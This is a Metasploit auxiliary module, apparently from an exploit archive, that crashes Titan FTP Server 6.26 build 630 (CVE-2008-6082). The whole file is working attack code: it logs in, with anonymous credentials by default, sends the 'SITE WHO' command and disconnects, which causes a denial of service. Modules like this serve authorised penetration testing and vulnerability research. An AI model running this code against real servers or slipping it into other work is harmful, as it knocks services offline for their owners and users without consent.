Titan FTP Server 6.26.630 SITE WHO Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',  
'Description' => %q{  
The Titan FTP server v6.26 build 630 can be DoS'd by  
issuing "SITE WHO". You need a valid login so you  
can send this command.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-6082'],  
[ 'OSVDB', '49177'],  
[ 'EDB', '6753']  
],  
'DisclosureDate' => '2008-10-14'))  
  
# They're required  
register_options([  
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),  
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])  
])  
end  
  
def run  
return unless connect_login  
print_status("Sending command...")  
raw_send("SITE WHO\r\n")  
select(nil,nil,nil,1)  
disconnect  
end  
end  
`